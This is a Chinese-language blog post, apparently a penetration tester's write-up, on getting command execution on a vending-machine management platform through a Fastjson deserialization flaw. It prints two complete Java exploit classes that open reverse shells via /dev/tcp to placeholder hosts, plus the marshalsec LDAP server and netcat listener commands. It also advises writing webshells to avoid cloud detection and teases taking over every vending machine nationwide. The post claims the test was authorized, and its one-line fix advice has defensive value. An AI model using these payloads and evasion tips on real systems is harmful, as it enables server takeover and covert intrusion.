对某自动售货机的测试记录之命令执行

 

上一讲说了随手一测就发现了越权,程序员修改之后依然可以绕过鉴权。

但是我想深挖,肯定还有其他问题。

本次测试为授权友情测试,本文提交之前已通知厂商修复,谁让我白帽子,谁让我钱在上面呢。:)

 

执行条件:

需要拥有后台账号,任何权限都行。

 

详情

上一讲的说了越权的事,大家也注意到了,发送的POST包为Json格式。

所以大胆猜测一下,存在fastjson的命令执行.

fastjson的漏洞原因网上很多,我就不多说了,大家跟着来看一下我的复现过程:

准备

首先我们需要准备三个文件:

marshalsec-0.0.3-SNAPSHOT-all.jar : https://github.com/mbechler/marshalsec
Exploit.java
Exploit.class

Marshalsec我编译的时候遇到坑,所以大家编译的时候注意自己的JDK版本。

Exploit.java也遇到了坑,看是网上找的是一个据说能秒杀很多版本的exp:

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
    public Exploit() throws Exception {
        //Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
    public static void main(String[] args) throws Exception {
    }
}

实际在利用的时候如何都不成功,浪费了我很多时间,最后是用了普通版本的exp反而成功,由此可以猜测服务器的Fastjson版本相当低.

public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/yourIP:8888 0>&1"); //你需要在服务器执行的命令,我这里是反弹shell,需要修改为自己的IP和监听端口
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

准备好Exploit.java之后,使用javac命令即可编译为我们需要的Exploit.class

准备服务

这三个文件都可以直接放在有公网IP的服务器上.

Marshalsec用于RMI和LDAP的服务创建.

开启RMI或LDAP服务运行命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://IP/#Exploit

Exploit.class需要放置在公网任何webserver下,只要目标服务器可以下载即可.

还需要在当前服务器运行

nc -lvvp 8888

监听本地端口,该端口需要与Exploit内的端口和服务器IP一致。

执行

以上文件和服务都准备好之后,可以发送自己的POST包执行:

POST包需要根据对方Fastjson版本做修改和绕过,请自行搜索.

结果

如果对方存在Fastjson反序列化漏洞,那么你的服务器会收到来自目标服务器的访问.:

LDAP将会把请求Redirect到Webserver,Fastjson将会下载Exploit.class,并解析运行。

如果一切顺利,你监听的端口将会收到反弹shell

同时也收到了平台程序员的问询:

思考

运营商马上就发现了服务器被入侵,所以如果遇到是阿里云等主流云服务器,如果想隐藏自己建议不要使用反弹shell的形式,毕竟特征太明显。。比如可以考虑自动化写入Webshell

还有就是经过我的分析,市面上的售货机管理平台的核心代码非常可能是同一套,所以该利用方式非常可能是通用的,不过其他没权限没法测试。

修复建议

排查所有服务的jar包风险,并升级.

BTW

目前提交的两个漏洞都是有利用前提的,那么是否可以不需要账号就直接入侵进自动售货机的管理平台,然后控制全国所有售货机呢?

作为渗透测试工程师决定有必要操作一波,感兴趣的人多的话,我再更新。

 

扩展阅读:

从零开始学习fastjson反序列化

Exploiting JNDI Injections in Java

Fastjson 反序列化漏洞自动化检测

(完)